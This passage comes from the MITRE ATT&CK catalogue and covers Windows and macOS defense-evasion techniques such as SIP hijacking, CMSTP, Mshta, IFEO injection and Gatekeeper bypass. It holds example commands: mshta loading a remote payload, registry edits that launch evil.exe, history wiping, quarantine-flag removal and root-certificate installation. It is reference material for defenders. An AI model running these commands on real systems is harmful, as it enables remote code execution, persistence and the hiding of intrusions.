varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\nT1191 | CMSTP | The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)\nT1211 | Exploitation for Defense Evasion | Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\nT1197 | BITS Jobs | Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)\nT1170 | Mshta | Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\nT1183 | Image File Execution Options Injection | Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1186 | Process Doppelg\u00e4nging | Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\nT1181 | Extra Window Memory Injection | Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\nT1143 | Hidden Window | Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n\nT1148 | HISTCONTROL | The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\nT1152 | Launchctl | Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\nT1149 | LC_MAIN Hijacking | **This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\nT1158 | Hidden Files and Directories | To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\nT1134 | Access Token Manipulation | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nT1151 | Space after Filename | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\nT1150 | Plist Modification | Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\nT1140 | Deobfuscate/Decode Files or Information | Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)\nT1144 | Gatekeeper Bypass | In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\nT1147 | Hidden Users | Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).\nT1146 | Clear Command History | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\nT1130 | Install Root Certificate | Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\nT1127 | Trusted Developer Utilities Proxy Execution | Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\nT1126 | Network Share Connection Removal | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n\nT1122 | Component Object Model Hijacking | The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\nT1121 | Regsvcs/Regasm | Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\nT1118 | InstallUtil | InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)\nT1117 | Regsvr32 | Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)\nT1116 | Code Signing | Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\nT1112 | Modify Registry | Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\nT1109 | Component Firmware | Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\nT1108 | Redundant Access | **This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.\nT1107 | File Deletion | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\nT1099 | Timestomp | Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are 